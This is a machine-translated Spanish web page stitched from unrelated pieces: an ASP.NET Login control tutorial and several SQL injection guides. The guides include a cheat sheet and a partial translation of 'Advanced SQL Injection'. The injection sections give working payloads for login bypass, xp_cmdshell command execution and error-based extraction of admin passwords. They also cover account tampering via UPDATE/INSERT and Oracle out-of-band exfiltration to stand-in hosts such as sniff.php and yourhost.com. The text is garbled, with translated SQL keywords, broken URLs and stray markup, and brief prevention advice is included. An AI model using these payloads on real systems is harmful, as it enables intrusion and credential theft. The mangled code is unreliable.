? vulnerableParam = (SELECT UTL_HTTP.REQUEST ("http: // host / sniff.php? sniff =" || ((INYECCIÓN)) || "") FROM DUAL)
El rastreador guardará los resultados
? vulnerableParam = (SELECT UTL_HTTP.REQUEST ("http: // host /" || ((INYECCIÓN)) || ".html") FROM DUAL)
Los resultados se guardarán en registros HTTP
? vulnerableParam = (SELECT UTL_INADDR.get_host_addr (((INYECCIÓN)) || ".yourhost.com") DE DUAL)

? vulnerableParam = (SELECT SYS.DBMS_LDAP.INIT (((INYECCIÓN)) || ’.yourhost.com’, 80) FROM DUAL)
Necesita analizar el tráfico de solicitudes de DNS a yourhost.com
(INYECCIÓN) es su solicitud.

Este material es una traducción adaptativa del artículo de la hoja de trucos de inyección SQL.

Control de inicio de sesión

El control de inicio de sesión facilita la creación de una página de inicio de sesión para la autenticación de formularios junto con la API de membresía. Proporciona una interfaz de usuario lista para usar que solicita un nombre de usuario y contraseña y solicita un botón para iniciar sesión. Detrás de escena, encapsula la funcionalidad que se cubrió en un artículo anterior: validar las identidades de los usuarios a través de la API de membresía y encapsular la funcionalidad básica de autenticación basada en formularios, como la redirección a la página solicitada originalmente en un área de aplicación segura después de un inicio de sesión exitoso.

Esto significa que Login encapsula cosas como Membership.ValidateUser () o FormsAuthentication.RedirectFromLoginPage (), por lo que no tiene que escribir este código usted mismo. La siguiente figura muestra el control de inicio de sesión en acción:

Siempre que el usuario hace clic en el botón Iniciar sesión, el control valida automáticamente el nombre de usuario y la contraseña mediante la función Membership.ValidateUser () y luego llama a FormsAuthenication.RedirectFromLoginPage () si la validación es exitosa. Todas las opciones para el control de inicio de sesión afectan la entrada que entrega a estos métodos. Por ejemplo, si marca la casilla de verificación Recordarme la próxima vez, pasará a verdadero en el parámetro createPersistentCookie del método RedirectFromLoginPage (). Por lo tanto, FormsAuthenticationModule crea una cookie persistente.

Behind the Scenes Login es un control compuesto ASP.NET. Es completamente extensible, en el sentido de que le permite anular cualquier estilo y propiedad de diseño, así como interceptar eventos generados para anular su comportamiento predeterminado. Si deja el control sin cambios y no detecta ningún evento, utilizará automáticamente el proveedor de membresía configurado para la aplicación.

La forma más simple de un control de inicio de sesión en una página se ve así:

Se proporcionan varias propiedades para cambiar la apariencia del control de inicio de sesión. Puede aplicar diferentes configuraciones de estilo como se muestra a continuación:

Además, las clases de CSS se pueden utilizar para personalizar la apariencia de Login. Cada propiedad de estilo admitida por el control de inicio de sesión incluye una propiedad CssClass. Al igual que con cualquier otro control ASP.NET, esta propiedad le permite especificar el nombre de la clase CSS que se agregó previamente al sitio web. Suponga que agregó la siguiente hoja de estilo CSS a su proyecto con el nombre de archivo MyStyles.css:

MyLoginTextBoxStyle (cursor: puntero; color de fondo: amarillo; alineación de texto: centro; relleno: 6px; borde: negro punteado; familia de fuentes: Verdana; alineación vertical: medio;) .Iniciar sesión (pantalla: bloque en línea;) .Título (relleno: 6px;)

Este archivo de estilo se puede incluir en la página de inicio de sesión para poder diseñar el elemento de inicio de sesión:

La siguiente tabla enumera los estilos admitidos por el control de inicio de sesión. Cada estilo funciona de la misma manera. Las propiedades de fuente y color se pueden configurar directamente, o puede usar la propiedad CssClass para especificar la clase CSS deseada:

Estilos admitidos por el control de inicio de sesión
Estilo Descripción
CheckBoxStyle

Define las propiedades de estilo para la casilla de verificación Recordarme la próxima vez

FailureStyle

Define el estilo del texto que se muestra en caso de un inicio de sesión incorrecto

HyperLinkStyle

El control de inicio de sesión le permite definir varios tipos de hipervínculos, por ejemplo, a la página de registro inicial. Este estilo define la apariencia de dichos hipervínculos.

InstrucciónTexto Estilo

El control de inicio de sesión le permite especificar el texto de ayuda para que se muestre directamente dentro de sí mismo. Este estilo establece la apariencia de este texto.

LabelStyle

Especifica el estilo de las etiquetas de nombre de usuario y contraseña

LoginButtonStyle

Define el estilo del botón de inicio de sesión

TextBoxStyle

Especifica el estilo de los campos de texto Nombre de usuario y Contraseña

TitleTextStyle

Especifica el estilo del texto del título para el control de inicio de sesión

ValidatorTextStyle

Define estilos para los controles utilizados para validar el nombre de usuario y la contraseña.

La interfaz de usuario del elemento de inicio de sesión se puede personalizar a través de más que solo estos estilos; otras propiedades adicionales apuntan a partes específicas del contenido del control, como el botón Iniciar sesión, que también le permiten personalizar la interfaz gráfica.

Por ejemplo, puede elegir el texto que se muestra en el botón de inicio de sesión o incluso mostrar un hipervínculo en lugar de este botón (como se establece de forma predeterminada). Además, puede agregar varios hipervínculos al control de inicio de sesión, como un vínculo a una página de ayuda o una página de registro. Ambas páginas deben estar abiertas al acceso anónimo porque también se debe ofrecer ayuda a los usuarios anónimos (recuerde que si alguien ve el control de inicio de sesión, es un usuario potencialmente anónimo). Para incluir enlaces adicionales en el inicio de sesión, modifique la definición mostrada anteriormente de la siguiente manera:

...

Este código muestra dos enlaces adicionales: a la página de ayuda y a la página de registro inicial, y también agrega un breve texto de instrucciones bajo el encabezado del elemento de inicio de sesión:

Los estilos descritos anteriormente también se aplican a estas propiedades. La siguiente tabla describe las propiedades importantes para personalizar el control de inicio de sesión:

Propiedades importantes para personalizar el control de inicio de sesión
Propiedad Descripción
Mensaje de texto
Texto del título

El texto que se muestra en el título del control

InstrucciónTexto

Esta propiedad ya se ha utilizado en el fragmento de código anterior. Contiene el texto que se muestra debajo del título del control.

FailureText

El texto que muestra el control de inicio de sesión si falla el intento de inicio de sesión

UserNameLabelText

Texto mostrado como una etiqueta antes del campo de texto del nombre de usuario

PasswordLabelText

Texto mostrado como una etiqueta antes del campo de texto de la contraseña del usuario

Nombre de usuario

El valor inicial que llena el cuadro de texto del nombre de usuario.

UsernameRequiredErrorMessage

Se muestra un mensaje de error si el usuario no ingresó un nombre

PasswordRequiredErrorMessage

Se muestra un mensaje de error si el usuario no ingresó una contraseña

Botón de inicio de sesión
LoginButtonText

Texto que se muestra en el botón de inicio de sesión

LoginButtonType
LoginButtonImageUrl

Si el botón de inicio de sesión se presenta como una imagen gráfica, debe especificar la URL donde se encuentra esta imagen

Página de inicio de sesión
DestinationPageUrl

Si el intento de inicio de sesión fue exitoso, el control de inicio de sesión redirige al usuario a esta página. Esta propiedad está vacía de forma predeterminada. Empty usa el marco de autenticación de formularios para redirigir a la página solicitada original o la URL predeterminada configurada en web.config para la autenticación de formularios

Fracaso Acción

Determina la acción que realiza el control después de un intento de inicio de sesión fallido. Dos opciones válidas son Refresh y RedirectToLoginPage. El primer valor solo actualiza la página actual, mientras que el segundo redirige a la página de inicio de sesión configurada. La segunda opción es útil si el control de inicio de sesión se usa en otro lugar que no sea la página de inicio de sesión.

VisibleWhenLoggedIn

Si se establece en falso, el control se ocultará automáticamente si el usuario ya inició sesión. Si se establece en verdadero (el valor predeterminado), el elemento de inicio de sesión se muestra incluso si el usuario está conectado

Configurar una etiqueta Recordarme
PantallaRecuerdame

Le permite mostrar u ocultar la casilla de verificación Recordarme la próxima vez. De forma predeterminada, esta propiedad se establece en verdadera

RememberMeSet

Especifica el valor predeterminado para la casilla de verificación Recordarme la próxima vez. De forma predeterminada, esta propiedad se establece en falsa, es decir, la casilla de verificación no está marcada

Página de registro
CreateUserUrl

Define un hipervínculo a una página web que le permite crear (registrar) un usuario. Por lo tanto, se usa comúnmente para dar acceso al usuario a la página de registro inicial. Esto generalmente muestra el control CreateUserWizard.

CreateUserText
CreateUserIconUrl

URL de la imagen gráfica para mostrar junto con el texto del hipervínculo de CreateUserUrl

Página de ayuda
HelpPageUrl

URL para redirigir al usuario a la página de ayuda

HelpPageText
HelpPageIconUrl

La URL del icono que se muestra junto con el texto del hipervínculo HelpPageUrl

Página de recuperación de contraseña
PasswordRecoveryUrl

URL para redirigir al usuario a la página de recuperación de contraseña. Esta página se aplica cuando el usuario ha olvidado su contraseña. Por lo general, muestra un control de recuperación de contraseña

PasswordRecoveryText
PasswordRecoveryIconUrl

La URL del icono que se muestra junto con el texto del hipervínculo PasswordRecoveryUrl

Plantillas de inicio de sesión y control

Como puede ver, todas estas propiedades hacen que el control de inicio de sesión sea muy flexible. Pero como probablemente haya notado, es imposible definir ninguna expresión para validar la entrada. Por supuesto, es posible implementar la validación del lado del servidor dentro de los procedimientos de eventos ofrecidos por el control de inicio de sesión. Cuando necesite agregar algunos elementos al control compuesto de inicio de sesión, esto no se puede hacer a través de las propiedades presentadas anteriormente. Por ejemplo, ¿qué sucede si necesita un segundo cuadro de texto para una autenticación sólida con una segunda contraseña o una contraseña personalizada, como lo hacen algunos sitios gubernamentales?

Afortunadamente, al igual que otros controles como GridView, Login admite plantillas. Con las plantillas, puede personalizar el contenido del control de inicio de sesión sin restricciones. Se le pueden agregar nuevos controles. Aplica una plantilla personalizada al control de inicio de sesión mediante un identificador LayoutTemplate:

Registrarse

Nombre de usuario:
Contraseña:


Al observar el código anterior, surge una pregunta: si tiene que escribir tanto código de interfaz de usuario (o diseñarlo en un diseñador visual) al configurar una plantilla, ¿por qué no escribir su propia página de inicio de sesión sin usar el control de inicio de sesión?

Ésta es la pregunta correcta. Sin embargo, como se explicó anteriormente, el front-end es solo una parte del elemento de inicio de sesión. Por ejemplo, en caso de que el usuario haga clic en el botón de inicio de sesión, el control de inicio de sesión ya tiene todo el código necesario para validar automáticamente al usuario con la tienda de membresía y redirigirlo a la página solicitada original a través del marco de autenticación de formularios. Así que definitivamente se salvó de tener que escribir este código.

Con los controles correctos y los valores de identificador correctos para estos controles, no es necesario escribir código de manejo de eventos. El código funciona de la forma habitual, excepto que usted define un conjunto de controles y su diseño. En realidad, el control de inicio de sesión requiere al menos dos campos de texto con los identificadores Nombre de usuario y Contraseña. Si faltan estos dos campos de texto (o tienen valores de identificador diferentes), el inicio de sesión generará una excepción. Todos los demás controles son opcionales, pero si proporciona un valor de identificador apropiado (como Iniciar sesión para un botón de inicio de sesión), Iniciar sesión manejará automáticamente sus eventos y se comportará como si se aplicara el diseño predeterminado.

La siguiente tabla enumera los valores especiales de los identificadores, los tipos de elementos necesarios para ellos y el indicador obligatorio:

El control con el identificador de inicio de sesión puede ser cualquier cosa que admita la propagación de burbujas y la propiedad CommandName. Es importante establecer la propiedad CommandName de este elemento en Login, ya que de lo contrario, el control de inicio de sesión no lo reconocerá durante el manejo de eventos. Si no agrega un control con la propiedad CommandName establecida en Iniciar sesión, tendrá que manejar los eventos usted mismo y escribir el código apropiado para validar el nombre de usuario y la contraseña y redirigir a la página solicitada original.

También puede agregar controles con otros identificadores que no tienen nada que ver con el inicio de sesión. El código anterior utilizó los elementos RequiredFieldValidator y RegularExpressionValidator para validar los campos de nombre de usuario y contraseña.

Al usar LayoutTemplate, muchas de las propiedades nativas del control ya no están disponibles. Cuando se aplica una plantilla, solo quedan disponibles las siguientes propiedades:

    DestinationPageUrl

    VisibleWhenLoggedIn

  • Proveedor de membresía

Todas las propiedades de estilo y algunas propiedades predeterminadas de personalización del contenido del texto del elemento ya no están disponibles en el editor de propiedades de Visual Studio porque se pueden agregar manualmente como controles separados o texto estático a la plantilla del elemento de inicio de sesión. Si los agrega al elemento de inicio de sesión en el modo de plantilla, simplemente se ignorarán porque la plantilla anula la interfaz predeterminada del elemento de inicio de sesión, que aprovecha estas propiedades.

Programación de control de inicio de sesión

El control de inicio de sesión admite varios eventos y propiedades que puede utilizar para personalizar su comportamiento. Proporcionan un control completo sobre el ajuste fino del control de inicio de sesión (junto con otras herramientas de personalización, como plantillas y propiedades de estilo). El control de inicio de sesión admite los eventos que se enumeran en la siguiente tabla:

Eventos de control de inicio de sesión
Evento Descripción
Iniciando sesión

Iniciado justo antes de la autenticación del usuario por el control

Conectado

Se activa después de que el control autentica al usuario

Error de inicio de sesión

Se activa cuando un usuario no puede iniciar sesión por cualquier motivo (por ejemplo, una contraseña o un nombre de usuario incorrectos)

Autenticar

Activado para la autenticación de usuarios. Si maneja este evento, debe autenticar al usuario usted mismo y el control de inicio de sesión dependerá completamente de su código de autenticación.

Los primeros tres eventos se pueden manejar para realizar algunas acciones antes de la autenticación del usuario, después de la autenticación y en caso de error durante la autenticación. Por ejemplo, el evento LoginError se puede utilizar para redirigir automáticamente al usuario a la página de recuperación de contraseña después de una cierta cantidad de intentos de inicio de sesión, como se muestra a continuación:

Protected void Page_Load (objeto remitente, EventArgs e) (if (! This.IsPostBack) ViewState ["LoginErrors"] = 0;) protected void Login1_LoginError (objeto remitente, EventArgs e) (// Si el estado LoginErrors no existe, cree it if (ViewState ["LoginErrors"] == null) ViewState ["LoginErrors"] = 0; // Aumentar el contador de intentos fallidos de inicio de sesión int ErrorCount = (int) ViewState ["LoginErrors"] + 1; ViewState ["LoginErrors "] = ErrorCount; // Compruebe el número de intentos fallidos si ((ErrorCount> 3) && (Login1.PasswordRecoveryUrl! = String.Empty)) Response.Redirect (Login1.PasswordRecoveryUrl);)

El control de inicio de sesión genera eventos en el orden que se muestra en la siguiente figura:

Como se mencionó anteriormente, si intercepta el evento de autenticación, debe agregar su propio código de verificación de nombre de usuario y contraseña. Propiedad Autenticar mantiene una instancia de la lista de parámetros AuthenticateEventArgs. Esta clase de argumento de evento admite una propiedad denominada Autenticado. Si se establece en verdadero, el control de inicio de sesión asume que la autenticación fue exitosa y genera el evento LoggedIn. Si establece esta propiedad en false, se muestra FailureText y se genera el evento LoginError:

Protected void Login1_Authenticate (remitente del objeto, AuthenticateEventArgs e) (if (Membership.ValidateUser (Login1.UserName, Login1.Password)) (e.Authenticated = true;) else (e.Authenticated = false;))

Como puede ver, hay acceso directo a los valores ingresados ​​a través de las propiedades UserName y Password, que contienen el texto ingresado en los campos de texto correspondientes. Si está utilizando controles con plantilla y desea obtener un valor de otro control, además del nombre de usuario y la contraseña, puede usar el método FindControl () para obtener este control adicional. Este método toma el ID del elemento deseado y devuelve una instancia de System.Web.UI.Control. Luego, el objeto resultante simplemente se convierte al tipo de control deseado y se lee el valor requerido por el método de autenticación personalizado para el usuario.

Este artículo no contiene ninguna verdad nueva, la inyección SQL se describe ampliamente y se usa ampliamente. Este artículo está más destinado a principiantes, pero tal vez los profesionales puedan encontrar uno o dos trucos nuevos.

Este artículo está destinado a ayudar a los principiantes a afrontar los problemas que pueden encontrar al utilizar la técnica de inyección SQL, utilizarla con éxito y poder defenderse de tales ataques.

Introducción

Cuando el servidor de interés solo tiene el puerto 80 abierto, y el escáner de vulnerabilidades no puede informar nada interesante, y usted sabe que el administrador del sistema siempre instala muy rápidamente todos los parches en el servidor web, nuestra última oportunidad es un pirateo web. La inyección SQL es uno de los tipos de piratería web que solo usa el puerto 80 y puede funcionar incluso con los parches instalados a tiempo. Este ataque está más dirigido a aplicaciones web (como ASP, JSP, PHP, CGI, etc.) que directamente al servidor web o servicios en el sistema operativo.

Este artículo no contiene ninguna verdad nueva, la inyección SQL se describe ampliamente y se usa ampliamente. Este artículo está más destinado a principiantes, pero tal vez los profesionales puedan encontrar uno o dos trucos nuevos. También le recomiendo que consulte los enlaces al final del artículo para obtener información más detallada de expertos en este campo.

1.1 ¿Qué es la inyección SQL?

SQL Injection es un método diseñado para inyectar Consulta SQL s / comandos a través de páginas web. Muchas páginas web utilizan parámetros presentados a los usuarios web y consultan la base de datos en SQL. Tomemos, por ejemplo, el caso de un inicio de sesión de usuario, cuando hay una página web con un nombre y contraseña y se realiza una consulta SQL en la base de datos para comprobar si hay un usuario registrado con dicho nombre y contraseña. Mediante SQL Injection es posible enviar un campo de nombre de usuario y / o contraseña ficticio que modifica la consulta SQL, lo que puede aportarnos algo interesante.

2.0 ¿Qué debemos buscar?

Intente encontrar páginas que le soliciten datos, como una página de búsqueda, una página de discusión, etc. A veces, las páginas html utilizan el método POST para enviar comandos a otra página web. En este caso, no verá los parámetros en la URL. Sin embargo, en este caso, puede buscar la etiqueta "FORM" en el código fuente de las páginas HTML. Encontrarás algo como esto:



Todos los parámetros entre

y
potencialmente vulnerable a la inyección de SQL.

2.1 ¿Qué pasa si no puede encontrar una página que use entrada?

Busque páginas como ASP, JSP, CGI o páginas web PHP. Intente encontrar páginas que usen parámetros como:

3.0. ¿Cómo puedo verificar que lo que he encontrado es vulnerable?

Intente comenzar con una sola cita. Ingrese la siguiente línea:

hola "o 1 = 1--

en el campo de nombre de usuario o contraseña, o incluso en el parámetro URL. Ejemplo:

Iniciar sesión: hola "o 1 = 1--
Pase: hola "o 1 = 1--
http: //duck/index.asp? id = hi "o 1 = 1--

Si ha hecho esto con un campo oculto, simplemente descargue el HTML original, guárdelo en su disco duro, cambie la URL y el campo oculto en consecuencia. Ejemplo:



Si la suerte está de su lado, iniciará sesión sin un nombre de usuario o contraseña.

3.1 ¿Pero por qué "o 1 = 1--?

Veamos otro ejemplo que explica la utilidad de la construcción "o 1 = 1--". Además de omitir el registro, también puede ver información adicional que generalmente no está disponible. Considere una página asp que enlaza con otra página con lo siguiente URL:

http: //duck/index.asp? category = comida

En la URL, "categoría" es el nombre de la variable y "comida" es el valor asignado a esa variable. Para hacer esto, la página asp puede contener el siguiente código:

v_cat = request ("categoría")
sqlstr = "SELECCIONAR * DEL producto DONDE PCategory =" "& v_cat &" ""
establecer rs = conn.execute (sqlstr)

como puede ver, nuestra variable se fusionará con v_cat y, por lo tanto, la consulta SQL debería convertirse en:

SELECCIONAR * DEL producto DONDE PCategory = "comida"

Esta consulta debe devolver un conjunto que contenga una o más filas que coincidan con la cláusula WHERE, en este caso "comida". Ahora cambiemos la URL así:

http: //duck/index.asp? category = food "o 1 = 1--
SELECCIONE * DEL producto DONDE PCategory = "comida" o 1 = 1-- '

Esta consulta devolverá todas las filas en la tabla de productos, ya sea que Pcategory sea "comida" o no. El guión doble "-" indica que MS SQL Server ignora el resto de la consulta que sigue a la comilla simple ("). A veces, puede reemplazar el guión doble con un" # "agudo.

Sin embargo, si está utilizando un servidor que no es SQL, o no puede ignorar el resto de la consulta, intente:

"o" a "=" a

Ahora la consulta SQL se convertirá en:

SELECCIONE * DEL producto DONDE PCategory = "comida" o "a" = "a"

Esta solicitud devolverá el mismo resultado.

Dependiendo de la consulta SQL real, es posible que deba probar algunas de estas posibilidades:

"o 1 = 1--
"o 1 = 1--
o 1 = 1--
"o" a "=" a
"o" a "=" a
") o (" a "=" a

4.0 ¿Cómo se pueden ejecutar comandos de forma remota mediante inyección SQL?

La capacidad de ingresar un comando SQL generalmente significa que podemos ejecutar consultas SQL a voluntad. La instalación predeterminada de MS SQL Server se realiza con derechos del sistema. Podemos llamar a procedimientos integrados como master..xp_cmdshell para ejecutar comandos arbitrarios de forma remota:

"; exec master..xp_cmdshell" ping 10.10.1.2 "-

Tratar de usar doble comillas(") si (") falla.

El punto y coma finalizará la consulta SQL actual y le permitirá ejecutar nuevos comandos SQL. Para verificar si el comando se completó correctamente, puede verificar los paquetes ICMP en 10.10.1.2 para ver si contienen paquetes del servidor vulnerable:

http: // sitio /? id = 31610

Si no ha recibido ninguna solicitud de ping del servidor y recibe un mensaje de error que indica un error de permiso, es posible que el administrador haya restringido el acceso Web del usuario a los procedimientos almacenados.

5.0 ¿Cómo obtengo los resultados de mi consulta SQL?

Puede usar sp_makewebtask para escribir su solicitud en HTML:

"; EXEC master..sp_makewebtask" \\ 10.10.1.3 \ share \ output.html "," SELECT * FROM INFORMATION_SCHEMA.TABLES "

La IP especificada debe tener una carpeta "compartida" con acceso para todos.

6.0 ¿Cómo obtener datos de una base de datos usando el mensaje de error ODBC?

Podemos usar la información del mensaje de error generado por el servidor SQL para recuperar cualquier dato. Por ejemplo, considere la siguiente página:

http: //duck/index.asp? id = 10

Ahora intentaremos concatenar el entero '10' con otra cadena en la base de datos:

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

La tabla del sistema INFORMATION_SCHEMA.TABLES contiene información para todas las tablas en el servidor.

El campo TABLE_NAME obviamente contiene el nombre de cada tabla en la base de datos. Fue elegida porque sabemos que siempre existe. Nuestra solicitud:

SELECCIONE EL PRIMER NOMBRE DE LA TABLA DE INFORMATION_SCHEMA.TABLES--

Esta consulta devolverá el primer nombre en la base de datos. Cuando UNIONAMOS este valor de cadena a un número entero 10, MS SQL Server intentará convertir la cadena nvarchar a un número entero. Esto generará un error que dice que no puede convertir nvarchar a int. El servidor dará el siguiente error:


Error de sintaxis al convertir el valor nvarchar "(! LANG: table1" to a column of data type int. !}
/index.asp, línea 5

El mensaje de error contiene información sobre un valor que no se puede convertir en un número entero. En este caso, obtuvimos el nombre de la primera tabla: "tabla1".

Para obtener el siguiente nombre de la tabla, podemos usar la siguiente consulta:

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1") -

También podemos buscar datos usando la tecla LIKE:

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "% 25login% 25" -

Proveedor Microsoft OLE DB para controladores ODBC error "80040e07" Error de sintaxis al convertir el valor nvarchar "(! LANG: admin_login" to a column of data type int. !} /index.asp, línea 5

La construcción correspondiente "% 25login% 25" se reemplazará por% login% en el servidor SQL. En este caso, obtendremos el nombre de la tabla que coincide con el criterio "admin_login".

6.1 ¿Cómo averiguo todos los nombres de las columnas en una tabla?

Podemos usar la tabla INFORMATION_SCHEMA.COLUMNS para mostrar todos los nombres de columna en la tabla:

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "admin_login" -

Proveedor Microsoft OLE DB para controladores ODBC error "80040e07"
Error de sintaxis al convertir el valor nvarchar "(! LANG: login_id" to a column of data type int. !}
/index.asp, línea 5

Ahora que conocemos el nombre de la primera columna, podemos usar NOT IN () para obtener el nombre de la siguiente columna:

http: //duck/index.asp? id = 10 UNION SELECCIONA LA PRIMERA 1 COLUMNA NOMBRE DE INFORMACION_SCHEMA.COLUMNS DONDE TABLE_NAME = "admin_login" DONDE COLUMN_NAME NO ESTÁ EN ("login_id") -

Proveedor Microsoft OLE DB para controladores ODBC error "80040e07"
Error de sintaxis al convertir el valor nvarchar "(! LANG: login_name" to a column of data type int. !}
/index.asp, línea 5

Continuando, obtenemos el resto de los nombres de las columnas, es decir, "contraseña", "detalles" hasta que obtengamos el siguiente error.

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "admin_login" WHERE COLUMN_NAME NOT IN ("login_id", "login_name", "contraseña", detalles ") -

Proveedor Microsoft OLE DB para controladores ODBC error "80040e14"
Los elementos ORDER BY deben aparecer en la lista de selección si la declaración contiene un operador UNION.
/index.asp, línea 5

6.2. ¿Cómo obtenemos los datos que necesitamos?

Ahora que hemos identificado algunas tablas importantes, podemos usar la misma técnica para recuperar información de la base de datos.

Obtengamos el primer nombre de inicio de sesión de la tabla "admin_login":

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 login_name FROM admin_login--

Proveedor Microsoft OLE DB para controladores ODBC error "80040e07"
Error de sintaxis al convertir el valor nvarchar "(! LANG: neo" to a column of data type int. !}
/index.asp, línea 5

Ahora sabemos que hay un usuario administrador con el inicio de sesión "neo". Finalmente, podemos obtener la contraseña "neo":

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 password FROM admin_login where login_name = "neo" -

Proveedor Microsoft OLE DB para controladores ODBC error "80040e07"
Error de sintaxis al convertir el valor nvarchar "(! LANG: m4trix" to a column of data type int. !}
/index.asp, línea 5

Ahora podremos iniciar sesión como "neo" con la contraseña "m4trix".

6.3 ¿Cómo obtengo el valor numérico de una cadena?

Existe una limitación en el método descrito anteriormente. No podemos obtener un mensaje de error si intentamos convertir texto que consta de un número (solo caracteres entre 0 ... 9). Ahora describiremos cómo recuperar la contraseña "31173" del usuario "trinity":

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 password FROM admin_login where login_name = "trinity" -

Probablemente obtengamos una "Página Extraviado". El motivo es que la contraseña" 31173 "se convertirá a un número, antes de UNION con un entero (en nuestro caso, 10). Dado que se obtiene la expresión UNION correcta, el servidor SQL no dará un mensaje de error, y así no podremos obtener notación numérica.

Para resolver este problema, podemos agregar una cadena numérica con algunas letras al final para evitar que la conversión se lleve a cabo. Consulta modificada:

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 convert (int, password% 2b "% 20morpheus") FROM admin_login donde login_name = "trinity" -

Simplemente usamos el signo más (+) para terminar la contraseña con cualquier texto (codificación ASSCII para "+" = 0x2b). Luego, agregaremos "% 20morpheus" al final de la contraseña real. Por lo tanto, incluso si el valor de la contraseña es "31173", se convertirá en "31173 morpheus". Al llamar manualmente a la función convert (), al intentar convertir "31173 morpheus" en un número entero, SQL Server emitirá un mensaje de error ODBC:

Proveedor Microsoft OLE DB para controladores ODBC error "80040e07"
Error de sintaxis al convertir el valor nvarchar "(! LANG: 31173 morpheus" to a column of data type int. !}
/index.asp, línea 5

Ahora podremos iniciar sesión como "trinity" con la contraseña "31173".

7.0 ¿Cómo modificar / insertar datos en la base de datos?

Una vez que tengamos los nombres de todas las columnas de la tabla, podemos actualizar (ACTUALIZAR) o incluso insertar (INSERTAR) nueva entrada a la mesa. Por ejemplo, podemos cambiar la contraseña de "neo":

http: //duck/index.asp? id = 10; ACTUALIZAR "admin_login" SET "contraseña" = "newpas5" DONDE login_name = "neo--

Para INSERTAR un nuevo registro en la base de datos:

http: //duck/index.asp? id = 10; INSERT INTO "admin_login" ("login_id", "login_name", "contraseña", "detalles") VALORES (666, "neo2", "newpas5", "NA") -

Ahora podremos iniciar sesión como "neo" con la contraseña "newpas5".

8.0 ¿Cómo evitar la inyección de SQL?

Filtrar Símbolos especiales en todas las líneas en:

Cualquier dato ingresado por el usuario
- parámetros de URL
- Galleta

Para valores numéricos, conviértalos a enteros antes de pasarlos a la consulta SQL. O use ISNUMERIC para asegurarse de que sea un número entero.

Ejecute SQL Server como un usuario sin privilegios.

Elimine los procedimientos almacenados no utilizados: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Este trabajo es una traducción de una parte de Advanced SQL Injection In SQL Server Applications de Chris Anley. ()
En artículos posteriores, si hay tiempo libre, se completará esta traducción.

PD La traducción será más interesante para fines educativos e históricos.

Título del artículo original: Inyección SQL avanzada en aplicaciones SQL.

anotación

Este artículo analiza en detalle los métodos generales de "inyección SQL", para una plataforma conocida Microsoft Internet Servidor de información / Páginas Active Server / SQL Server. Se analizan los diversos usos de la inyección SQL en aplicaciones y se explican los métodos para validar datos y proteger las bases de datos en las que se pueden utilizar las inyecciones.

Introducción

El lenguaje de consulta estructurado (SQL) es un lenguaje estructurado que se utiliza para interactuar con bases de datos. Hay muchos "dialectos" del lenguaje SQL, pero hoy en día se basan principalmente en el estándar SQL-92, uno de los primeros estándares ANSI. El bloque operativo principal de SQL es una consulta, que es una colección de expresiones que generalmente devuelven un conjunto de resultados. Las expresiones SQL pueden modificar la estructura de las bases de datos (utilizando expresiones de lenguaje de definición de datos (DLL)) y manipular su contenido (utilizando expresiones de lenguaje de manipulación de datos (DML)). En este documento, analizaremos transact-SQL utilizado en Microsoft SQL Server.

La inyección de SQL es posible cuando un atacante puede insertar su propio SQL en una consulta para manipular los datos que se envían a la aplicación.

Una declaración SQL típica se ve así:

Seleccione id, nombre, apellido de los autores

Esta expresión toma "id", "nombre" y "apellido" de las columnas de la tabla "autores" y devuelve todas las filas de la tabla. La selección puede estar limitada por un determinado "autor", por ejemplo:

Seleccione id, nombre, apellido de los autores donde forename = "john" y surname = "smith"

Cabe señalar que en esta consulta, los literales de cadena están separados por comillas simples. Se asume que "nombre" y "apellido" son datos ingresados ​​por el usuario. En este caso, el atacante podrá ingresar su propia consulta SQL agregando sus propios valores a la aplicación. Por ejemplo:

Nombre: jo "hn Apellido: smith

Entonces la expresión tomará la siguiente forma:

Seleccione id, nombre, apellido de los autores donde forename = "jo" hn "y apellido =" smith "

Después de que la base de datos intente procesar dicha solicitud, se devolverá el siguiente error:

Servidor: Msg 170, nivel 15, estado 1, línea 1 Línea 1: sintaxis incorrecta cerca de "hn".

La razón del error será que la comilla simple ingresada estropeará la estructura de los delimitadores en la consulta. Por lo tanto, la base de datos intentará sin éxito ejecutar el comando "hn", lo que resultará en un error. Como resultado, si un atacante ingresa la siguiente información en el formulario:

Nombre: jo "; eliminar los autores de la tabla-- Apellido:

La tabla "autores" se eliminará, por lo que veremos por qué más adelante.

Podría pensar que si eliminamos las comillas simples del formulario de entrada y también las "reemplazamos", esto puede resolver nuestro problema. Y tendrá razón, sin embargo, existen algunos problemas con el uso de este método como solución a este problema. Primero, no todas las entradas del usuario son "cadenas". Donde el formulario personalizado contendrá el "id" del autor, que suele ser un número. Por ejemplo, nuestra solicitud podría verse así:

Seleccione id, nombre, apellido de los autores donde id = 1234

En este caso, el atacante puede agregar fácilmente cualquier declaración SQL después de los datos numéricos. En otros tipos de consultas SQL, se utilizan diferentes delimitadores. Por ejemplo, en Microsoft Jet DBMS, el delimitador es "#". En segundo lugar, "escapar" de las comillas simples no es la forma más fácil de protegerse, como podría parecer al principio. Hablaremos de esto con más detalle más adelante.

A continuación, se muestra un ejemplo basado en una página de inicio de sesión de páginas Active Server (ASP) que utiliza SQL para acceder a una base de datos y autorizar a un usuario en una aplicación.

Aquí está el código de la página que contiene el formulario de inicio de sesión, en el que se ingresan el nombre de usuario y la contraseña.

Página de inicio de sesión

Acceso

Nombre de usuario:
Contraseña:

A continuación se muestra el código (process_login.asp) que determina la exactitud de los datos ingresados.